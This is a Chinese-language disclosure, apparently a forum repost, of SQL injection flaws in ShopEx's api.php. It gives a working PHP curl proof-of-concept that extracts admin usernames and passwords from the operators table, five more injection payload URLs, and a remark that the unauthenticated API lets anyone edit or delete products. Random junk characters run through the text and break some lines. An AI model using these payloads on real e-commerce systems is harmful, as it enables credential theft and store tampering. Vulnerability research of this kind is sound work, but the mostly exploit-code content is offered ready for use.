|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php8 E) Q: w3 }! J5 U' r! l
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
% B1 l2 x( G+ [8 ?" O& j
) i3 r0 W# z. B* K( f% g: V第44行 $data['columns'] 未做过滤导致注入2 ]* y, U' l. r
, Y; X2 |, G' j" x& v% D& V' ?<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
- [! i! g! v* o3 E# D- q' Z9 B y; X- p+ k" b& ?6 J( h
注射1:
/ ~8 }8 m* r$ K- J5 V! F& \6 {& R( z7 W% R% Y
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
& \) R" b+ N4 \* l. m l( X5 Z. j( i! _5 D5 a
注射2:- I ?6 g U' Y1 Y2 W# `
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}( f7 v. R: r+ b) H. B
2 J1 E* a! o4 T5 {; F4 r) i
注射3:
8 o# O1 ?1 O3 b5 h; ? http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx; z* p4 q) n& g o% S. i+ J% S5 L
注射4:
* a& P: t: r/ t' l3 ^5 I b! u" n; t, T% v
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
) m& ~+ L6 W5 ]' G* ?( x! `; v
6 D+ w/ o5 [; V; h7 o f6 s, I8 w; I* e$ q( T4 i6 L
注射5:% Y5 v7 R1 L9 X: f# S$ E9 J
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx3 e3 k: g7 \0 p! J: ~; B5 e% X# x, q
1 L# }) I% |, z0 u6 d0 A5 Y
+ Z: z; N5 j& e1 ^$ k1 ?8 c0 A* d* n) V
, ^1 l) t* `# o& R& g/ [& Z, A" ?$ j W9 ~& c, P* {" F
F6 S9 s4 B# K7 t# n5 O |
|